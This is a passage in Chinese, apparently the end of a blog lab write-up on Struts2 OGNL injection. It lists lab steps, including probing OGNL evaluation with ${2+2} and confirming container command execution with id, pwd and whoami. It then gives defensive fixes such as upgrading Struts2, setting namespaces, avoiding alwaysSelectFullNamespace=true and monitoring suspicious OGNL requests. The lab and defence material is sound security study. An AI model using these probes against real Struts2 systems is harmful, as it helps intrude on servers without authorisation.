3. 访问 showcase.action 确认应用正常
4. 用 ${2+2} 验证 OGNL 求值
5. 用 id / pwd / whoami 验证容器内命令执行
6. 修改配置或升级版本做修复对比

防守时,最关键的是:

1
2
3
4
5
6
升级 Struts2
明确 namespace
修正 redirectAction / url tag 配置
避免不必要的 alwaysSelectFullNamespace=true
降低 Web 进程权限
监控可疑 OGNL 请求

17. 参考链接

本文由作者按照 CC BY 4.0 进行授权